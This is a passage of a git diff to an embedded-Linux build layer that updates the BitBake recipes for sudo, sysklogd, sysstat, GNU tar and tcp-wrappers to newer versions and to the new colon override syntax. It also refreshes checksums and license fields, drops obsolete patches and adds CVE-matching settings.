-@@ -59,7 +59,7 @@ Plugin sudoers_audit sudoers.so
+@@ -74,7 +74,7 @@
# The default directory to use when searching for plugins that are
# specified without a fully qualified path name.
#
diff --git a/meta/recipes-extended/sudo/sudo.inc b/meta/recipes-extended/sudo/sudo.inc
index 86a18be7e2..82040de8aa 100644
--- a/meta/recipes-extended/sudo/sudo.inc
+++ b/meta/recipes-extended/sudo/sudo.inc
@@ -3,8 +3,8 @@ DESCRIPTION = "Sudo (superuser do) allows a system administrator to give certain
HOMEPAGE = "http://www.sudo.ws"
BUGTRACKER = "http://www.sudo.ws/bugs/"
SECTION = "admin"
-LICENSE = "ISC & BSD & Zlib"
-LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=828cd502ad216ff869bf83adf3301e02 \
+LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & Zlib"
+LIC_FILES_CHKSUM = "file://doc/LICENSE;md5=b969d389e79703121cbffc9f3ea18a8b \
file://plugins/sudoers/redblack.c;beginline=1;endline=46;md5=03e35317699ba00b496251e0dfe9f109 \
file://lib/util/reallocarray.c;beginline=3;endline=15;md5=397dd45c7683e90b9f8bf24638cf03bf \
file://lib/util/fnmatch.c;beginline=3;endline=27;md5=004d7d2866ba1f5b41174906849d2e0f \
@@ -24,21 +24,19 @@ PACKAGECONFIG ??= ""
PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
PACKAGECONFIG[pam-wheel] = ",,,pam-plugin-wheel"
-CONFFILES_${PN} = "${sysconfdir}/sudoers"
+CONFFILES:${PN} = "${sysconfdir}/sudoers"
EXTRA_OECONF = "--with-editor=${base_bindir}/vi --with-env-editor"
-EXTRA_OECONF_append_libc-musl = " --disable-hardening "
-
-# mksigname/mksiglist are used on build host to generate source files
-do_compile_prepend () {
- # Remove build host references from sudo_usage.h
- sed -i \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--build=${BUILD_SYS},,g' \
- -e 's,--host=${HOST_SYS},,g' \
- ${B}/src/sudo_usage.h
- oe_runmake SSP_CFLAGS="" SSP_LDFLAGS="" CC="$BUILD_CC" CFLAGS="$BUILD_CFLAGS" CPPFLAGS="$BUILD_CPPFLAGS -I${S}/include -I${S} -I${B}" -C lib/util mksigname mksiglist
+EXTRA_OECONF:append:libc-musl = " --disable-hardening "
+
+do_compile:prepend () {
+ # Remove build host references from sudo_usage.h
+ sed -i \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--build=${BUILD_SYS},,g' \
+ -e 's,--host=${HOST_SYS},,g' \
+ ${B}/src/sudo_usage.h
}
# Explicitly create ${localstatedir}/lib before do_install to ensure
@@ -46,6 +44,8 @@ do_compile_prepend () {
# script (from sudo) will recursively create ${localstatedir}/lib/sudo
# and then chmod each directory with 0700 permissions, which isn't what
# we want (i.e, users would not be able to access /var/lib).
-do_install_prepend (){
+do_install:prepend (){
mkdir -p ${D}/${localstatedir}/lib
}
+
+CVE_VERSION_SUFFIX = "patch"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.3p1.bb b/meta/recipes-extended/sudo/sudo_1.9.3p1.bb
deleted file mode 100644
index ba61a7f247..0000000000
--- a/meta/recipes-extended/sudo/sudo_1.9.3p1.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-require sudo.inc
-
-SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
- "
-
-PAM_SRC_URI = "file://sudo.pam"
-
-SRC_URI[sha256sum] = "dcb9de53e45e1c39042074b847f5e0d8ae1890725dd6a9d9101a81569e6eb49e"
-
-DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
-
-CACHED_CONFIGUREVARS = " \
- ac_cv_type_rsize_t=no \
- ac_cv_path_MVPROG=${base_bindir}/mv \
- ac_cv_path_BSHELLPROG=${base_bindir}/sh \
- ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
- ac_cv_path_VIPROG=${base_bindir}/vi \
- "
-
-EXTRA_OECONF += " \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
- --with-rundir=/run/sudo \
- --with-vardir=/var/lib/sudo \
- --libexecdir=${libdir} \
- "
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
- if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
- echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
- sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
- fi
- fi
-
- chmod 4111 ${D}${bindir}/sudo
- chmod 0440 ${D}${sysconfdir}/sudoers
-
- # Explicitly remove the /sudo directory to avoid QA error
- rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
-}
-
-FILES_${PN} += "${nonarch_libdir}/tmpfiles.d"
-FILES_${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
- ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
diff --git a/meta/recipes-extended/sudo/sudo_1.9.8p2.bb b/meta/recipes-extended/sudo/sudo_1.9.8p2.bb
new file mode 100644
index 0000000000..b2afd1f98c
--- /dev/null
+++ b/meta/recipes-extended/sudo/sudo_1.9.8p2.bb
@@ -0,0 +1,60 @@
+require sudo.inc
+
+SRC_URI = "https://www.sudo.ws/dist/sudo-${PV}.tar.gz \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://0001-sudo.conf.in-fix-conflict-with-multilib.patch \
+ file://0001-lib-util-mksigname.c-correctly-include-header-for-ou.patch \
+ "
+
+PAM_SRC_URI = "file://sudo.pam"
+
+SRC_URI[sha256sum] = "9e3b8b8da7def43b6e60c257abe80467205670fd0f7c081de1423c414b680f2d"
+
+DEPENDS += " virtual/crypt ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+RDEPENDS:${PN} += " ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-limits pam-plugin-keyinit', '', d)}"
+
+CACHED_CONFIGUREVARS = " \
+ ac_cv_type_rsize_t=no \
+ ac_cv_path_MVPROG=${base_bindir}/mv \
+ ac_cv_path_BSHELLPROG=${base_bindir}/sh \
+ ac_cv_path_SENDMAILPROG=${sbindir}/sendmail \
+ ac_cv_path_VIPROG=${base_bindir}/vi \
+ "
+
+EXTRA_OECONF += " \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--enable-tmpfiles.d=${nonarch_libdir}/tmpfiles.d', '--disable-tmpfiles.d', d)} \
+ --with-rundir=/run/sudo \
+ --with-vardir=/var/lib/sudo \
+ --libexecdir=${libdir} \
+ "
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 644 ${WORKDIR}/sudo.pam ${D}/${sysconfdir}/pam.d/sudo
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam-wheel', 'true', 'false', d)} ; then
+ echo 'auth required pam_wheel.so use_uid' >>${D}${sysconfdir}/pam.d/sudo
+ sed -i 's/# \(%wheel ALL=(ALL) ALL\)/\1/' ${D}${sysconfdir}/sudoers
+ fi
+ fi
+
+ chmod 4111 ${D}${bindir}/sudo
+ chmod 0440 ${D}${sysconfdir}/sudoers
+
+ # Explicitly remove the /sudo directory to avoid QA error
+ rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo
+}
+
+FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \
+ ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la"
+
+SUDO_PACKAGES = "${PN}-sudo\
+ ${PN}-lib"
+
+PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}"
+
+RDEPENDS:${PN}-sudo = "${PN}-lib"
+RDEPENDS:${PN} += "${SUDO_PACKAGES}"
+
+FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit"
+FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}"
diff --git a/meta/recipes-extended/sysklogd/files/0001-Makefile.am-fixup-issue-17.patch b/meta/recipes-extended/sysklogd/files/0001-Makefile.am-fixup-issue-17.patch
deleted file mode 100644
index 96365648d7..0000000000
--- a/meta/recipes-extended/sysklogd/files/0001-Makefile.am-fixup-issue-17.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-From a4a472c19eaaf03cc0e70797b2d24b540d6424e1 Mon Sep 17 00:00:00 2001
-From: Changqing Li <changqing.li@windriver.com>
-Date: Wed, 3 Jun 2020 13:39:18 +0800
-Subject: [PATCH] Makefile.am: fixup issue #17
-
-only make $(LIBOBJS) depend on $(LTLIBOBJS) still have race condition,
-library like pidfile.o may be changed when compile or link for
-libsyslog_la_LIBADD, which will cause problem like below:
-
-ERROR: dwarfsrcfiles failed with exit code 1 (cmd was ['dwarfsrcfiles', /tmp/work/ppc7400-oe-linux/sysklogd/2.1.2-r0/package/usr/lib/libsyslog.a']):
-dwarfsrcfiles: tmp/work/ppc7400-oe-linux/sysklogd/2.1.2-r0/package/usr/lib/libsyslog.a: not a valid ELF file
-
-arm-oe-linux-gnueabi-libtool: link: arm-oe-linux-gnueabi-gcc -march=armv7ve -mthumb -mfpu=neon -mfloat-abi=hard --sysroot=TOPDIR/tmp-glibc/work/armv7vet2hf-neon-oe-linux-gnueabi/sysklogd/2.1.2-r0/recipe-sysroot -shared -fPIC -DPIC .libs/libsyslog_la-syslog.o ../lib/.libs/pidfile.o ../lib/.libs/strlcpy.o ../lib/.libs/strlcat.o -march=armv7ve -mthumb -mfpu=neon -mfloat-abi=hard --sysroot=TOPDIR/tmp-glibc/work/armv7vet2hf-neon-oe-linux-gnueabi/sysklogd/2.1.2-r0/recipe-sysroot -O2 -g -Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed -Wl,-soname -Wl,libsyslog.so.0 -o .libs/libsyslog.so.0.0.0
-arm-oe-linux-gnueabi-libtool: link: (cd ".libs" && rm -f "libsyslog.so.0" && ln -s "libsyslog.so.0.0.0" "libsyslog.so.0")
-arm-oe-linux-gnueabi-libtool: link: (cd ".libs" && rm -f "libsyslog.so" && ln -s "libsyslog.so.0.0.0" "libsyslog.so")
-arm-oe-linux-gnueabi-libtool: link: arm-oe-linux-gnueabi-gcc-ar cru .libs/libsyslog.a libsyslog_la-syslog.o ../lib/pidfile.o ../lib/strlcpy.o ../lib/strlcat.o
-TOPDIR/tmp-glibc/work/armv7vet2hf-neon-oe-linux-gnueabi/sysklogd/2.1.2-r0/recipe-sysroot-native/usr/bin/arm-oe-linux-gnueabi/../../libexec/arm-oe-linux-gnueabi/gcc/arm-oe-linux-gnueabi/10.1.0/ar: `u' modifier ignored since `D' is the default (see `U')
-TOPDIR/tmp-glibc/work/armv7vet2hf-neon-oe-linux-gnueabi/sysklogd/2.1.2-r0/recipe-sysroot-native/usr/bin/arm-oe-linux-gnueabi/../../libexec/arm-oe-linux-gnueabi/gcc/arm-oe-linux-gnueabi/10.1.0/ar: ../lib/strlcat.o: No such file or directory
-
-Upstream-Status: Submitted [https://github.com/troglobit/sysklogd/pull/23/commits/e684939559341cb1c6373dfc6469b59e580d80af]
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
----
- src/Makefile.am | 7 ++++---
- 1 file changed, 4 insertions(+), 3 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index f8a6820..f45c773 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -66,6 +66,7 @@ libsyslog_la_LIBADD = $(LTLIBOBJS)
- # ld: syslogd-syslogd.o: in function `main': syslogd.c:417: undefined
- # reference to `__pidfile'
- #
--# Work around the problem by building one .o from lib at a time, this
--# can be achieved by making LIBOBJS depend on LTLIBOBJS.
--$(LIBOBJS): $(LTLIBOBJS)
-+# Work around the problem by make LIBOBJS depend on libsyslog.la,
-+# so that LIBOBJS/syslogd/logger will start compile after libsyslog.la
-+# is completed
-+$(LIBOBJS): $(lib_LTLIBRARIES)
---
-2.17.1
diff --git a/meta/recipes-extended/sysklogd/files/sysklogd b/meta/recipes-extended/sysklogd/files/sysklogd
index 2a356a637a..050772b59d 100755
--- a/meta/recipes-extended/sysklogd/files/sysklogd
+++ b/meta/recipes-extended/sysklogd/files/sysklogd
@@ -22,6 +22,9 @@ binpath_syslogd=/usr/sbin/syslogd
test -x $binpath || exit 0
+# run secure by default
+SYSLOGD="-ss"
+
test ! -r /etc/default/syslogd || . /etc/default/syslogd
create_xconsole()
diff --git a/meta/recipes-extended/sysklogd/sysklogd.inc b/meta/recipes-extended/sysklogd/sysklogd.inc
deleted file mode 100644
index 162260f000..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd.inc
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "System Log Daemons"
-DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
-HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
-SECTION = "base"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
- file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
- "
-
-inherit update-rc.d update-alternatives systemd autotools
-
-SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1 \
- file://sysklogd \
- file://0001-Makefile.am-fixup-issue-17.patch \
- "
-S = "${WORKDIR}/git"
-
-EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
-
-do_install_append () {
- install -d ${D}${sysconfdir}
- install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
- install -d ${D}${sysconfdir}/init.d
- install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
-}
-
-SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "syslogd.service"
-SYSTEMD_AUTO_ENABLE = "enable"
-
-INITSCRIPT_NAME = "syslog"
-CONFFILES_${PN} = "${sysconfdir}/syslog.conf"
-RCONFLICTS_${PN} = "rsyslog busybox-syslog syslog-ng"
-
-FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-doc = "syslogd.8"
-ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-
-pkg_prerm_${PN} () {
- if test "x$D" = "x"; then
- if test "$1" = "upgrade" -o "$1" = "remove"; then
- /etc/init.d/syslog stop || :
- fi
- fi
-}
-
-python () {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb
deleted file mode 100644
index 2917c2aae0..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require sysklogd.inc
-
-SRCREV = "6d6010add698370fc7d9828f0aaa18613dd2397f"
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb b/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb
new file mode 100644
index 0000000000..0682ec1d63
--- /dev/null
+++ b/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb
@@ -0,0 +1,56 @@
+SUMMARY = "System Log Daemons"
+DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
+HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
+SECTION = "base"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
+ file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
+ "
+
+inherit update-rc.d update-alternatives systemd autotools
+
+SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1;protocol=https \
+ file://sysklogd \
+ "
+
+SRCREV = "03c2c9c68d5d02675326527774e7e9cba3490ba0"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}
+ install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
+ install -d ${D}${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
+}
+
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "syslogd.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+INITSCRIPT_NAME = "syslog"
+CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
+RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
+
+FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-doc = "syslogd.8"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+
+pkg_prerm:${PN} () {
+ if test "x$D" = "x"; then
+ if test "$1" = "upgrade" -o "$1" = "remove"; then
+ /etc/init.d/syslog stop || :
+ fi
+ fi
+}
+
+python () {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+}
diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat.inc
index e5e134c038..8345c1e3d1 100644
--- a/meta/recipes-extended/sysstat/sysstat.inc
+++ b/meta/recipes-extended/sysstat/sysstat.inc
@@ -23,7 +23,11 @@ PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
EXTRA_OECONF += "--disable-stripping"
-do_configure_prepend() {
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "sysstat.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+do_configure:prepend() {
export sa_lib_dir=${libexecdir}/sa
}
@@ -47,14 +51,14 @@ do_install() {
# Unless both cron and systemd are enabled, install our own
# systemd unit file. Otherwise the package will install one.
if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system
- sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_unitdir}/system/sysstat.service
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir}
+ sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
fi
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
if [ ! -n "$D" ]; then
if [ -e /etc/init.d/populate-volatile.sh ]; then
/etc/init.d/populate-volatile.sh update
@@ -62,6 +66,6 @@ pkg_postinst_${PN} () {
fi
}
-FILES_${PN} += "${systemd_system_unitdir} ${nonarch_base_libdir}/systemd"
+FILES:${PN} += "${systemd_system_unitdir} ${nonarch_base_libdir}/systemd"
TARGET_CC_ARCH += "${LDFLAGS}"
diff --git a/meta/recipes-extended/sysstat/sysstat_12.4.0.bb b/meta/recipes-extended/sysstat/sysstat_12.4.0.bb
deleted file mode 100644
index 6773213a40..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_12.4.0.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require sysstat.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
-
-SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch"
-
-SRC_URI[sha256sum] = "78556c339795ecd07eb10ee09e3f5d52901d3a29f874ae92b45efd0de7b62d16"
diff --git a/meta/recipes-extended/sysstat/sysstat_12.4.4.bb b/meta/recipes-extended/sysstat/sysstat_12.4.4.bb
new file mode 100644
index 0000000000..d635650a1f
--- /dev/null
+++ b/meta/recipes-extended/sysstat/sysstat_12.4.4.bb
@@ -0,0 +1,7 @@
+require sysstat.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
+
+SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch"
+
+SRC_URI[sha256sum] = "9512e7479e04f92e251c5c6b4bd94b8f643d212bd0e986a8ea4d147a6e943d24"
diff --git a/meta/recipes-extended/tar/tar/musl_dirent.patch b/meta/recipes-extended/tar/tar/musl_dirent.patch
deleted file mode 100644
index 2d98ed1310..0000000000
--- a/meta/recipes-extended/tar/tar/musl_dirent.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-musl has valid d_ino implementation
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: tar-1.28/m4/d-ino.m4
-===================================================================
---- tar-1.28.orig/m4/d-ino.m4
-+++ tar-1.28/m4/d-ino.m4
-@@ -40,7 +40,8 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_DIRENT_D_
- [gl_cv_struct_dirent_d_ino=no],
- [case "$host_os" in
- # Guess yes on glibc systems with Linux kernel.
-- linux*-gnu*) gl_cv_struct_dirent_d_ino="guessing yes" ;;
-+ linux*-gnu*|linux*-musl*)
-+ gl_cv_struct_dirent_d_ino="guessing yes" ;;
- # Guess no on native Windows.
- mingw*) gl_cv_struct_dirent_d_ino="guessing no" ;;
- # If we don't know, assume the worst.
diff --git a/meta/recipes-extended/tar/tar_1.32.bb b/meta/recipes-extended/tar/tar_1.32.bb
deleted file mode 100644
index ebe6cb0dbd..0000000000
--- a/meta/recipes-extended/tar/tar_1.32.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "GNU file archiving program"
-DESCRIPTION = "GNU tar saves many files together into a single tape \
-or disk archive, and can restore individual files from the archive."
-HOMEPAGE = "http://www.gnu.org/software/tar/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2 \
- file://musl_dirent.patch \
-"
-
-SRC_URI[md5sum] = "17917356fff5cb4bd3cd5a6c3e727b05"
-SRC_URI[sha256sum] = "e4bb9e08e12e7fa9f11fef544efc85e59ba34538593d9ad38148c7ca2bfbb566"
-
-inherit autotools gettext texinfo
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG_append_class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
-
-PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
-
-EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
-
-CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
-
-# Let aclocal use the relative path for the m4 file rather than the
-# absolute since tar has a lot of m4 files, otherwise there might
-# be an "Argument list too long" error when it is built in a long/deep
-# directory.
-acpaths = "-I ./m4"
-
-do_install () {
- autotools_do_install
- ln -s tar ${D}${bindir}/gtar
-}
-
-do_install_append_class-target() {
- if [ "${base_bindir}" != "${bindir}" ]; then
- install -d ${D}${base_bindir}
- mv ${D}${bindir}/tar ${D}${base_bindir}/tar
- mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
- rmdir ${D}${bindir}/
- fi
-}
-
-PACKAGES =+ "${PN}-rmt"
-
-FILES_${PN}-rmt = "${sbindir}/rmt*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN} = "tar"
-ALTERNATIVE_${PN}-rmt = "rmt"
-ALTERNATIVE_${PN}_class-nativesdk = ""
-ALTERNATIVE_${PN}-rmt_class-nativesdk = ""
-
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
-
-PROVIDES_append_class-native = " tar-replacement-native"
-NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/tar/tar_1.34.bb b/meta/recipes-extended/tar/tar_1.34.bb
new file mode 100644
index 0000000000..5a415c775a
--- /dev/null
+++ b/meta/recipes-extended/tar/tar_1.34.bb
@@ -0,0 +1,68 @@
+SUMMARY = "GNU file archiving program"
+DESCRIPTION = "GNU tar saves many files together into a single tape \
+or disk archive, and can restore individual files from the archive."
+HOMEPAGE = "http://www.gnu.org/software/tar/"
+SECTION = "base"
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2"
+
+SRC_URI[sha256sum] = "b44cc67f8a1f6b0250b7c860e952b37e8ed932a90bd9b1862a511079255646ff"
+
+inherit autotools gettext texinfo
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}"
+
+PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
+
+CACHED_CONFIGUREVARS += "tar_cv_path_RSH=no"
+
+# Let aclocal use the relative path for the m4 file rather than the
+# absolute since tar has a lot of m4 files, otherwise there might
+# be an "Argument list too long" error when it is built in a long/deep
+# directory.
+acpaths = "-I ./m4"
+
+do_install () {
+ autotools_do_install
+ ln -s tar ${D}${bindir}/gtar
+}
+
+do_install:append:class-target() {
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ install -d ${D}${base_bindir}
+ mv ${D}${bindir}/tar ${D}${base_bindir}/tar
+ mv ${D}${bindir}/gtar ${D}${base_bindir}/gtar
+ rmdir ${D}${bindir}/
+ fi
+}
+
+PACKAGES =+ "${PN}-rmt"
+
+FILES:${PN}-rmt = "${sbindir}/rmt*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN} = "tar"
+ALTERNATIVE:${PN}-rmt = "rmt"
+ALTERNATIVE:${PN}:class-nativesdk = ""
+ALTERNATIVE:${PN}-rmt:class-nativesdk = ""
+
+ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
+ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
+
+PROVIDES:append:class-native = " tar-replacement-native"
+NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Avoid false positives from CVEs in node-tar package
+# For example CVE-2021-{32803,32804,37701,37712,37713}
+CVE_PRODUCT = "gnu:tar"
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
index 8e46df8e1e..cf4f993c1a 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch
@@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500
Added support for socklen_t type to len argument passed to socket related
calls. This fixes a bug that causes tcp wrappers to fail when using sshd.
- Upstream-Status: Pending
-
- Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
+Upstream-Status: Pending
+Signed-off-by: farrah rashid <farrah.rashid@windriver.com>
diff --git a/fix_options.c b/fix_options.c
index 7473adf..fe2b442 100644
diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
index e903b9db14..814d7fd913 100644
--- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
+++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb
@@ -11,12 +11,12 @@ PR ="r10"
DEPENDS += "libnsl2"
PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc"
-FILES_libwrap = "${base_libdir}/lib*${SOLIBS}"
-FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5"
-FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}"
-FILES_libwrap-staticdev = "${libdir}/lib*.a"
-FILES_${PN} = "${sbindir}"
-FILES_${PN}-doc = "${mandir}/man8"
+FILES:libwrap = "${base_libdir}/lib*${SOLIBS}"
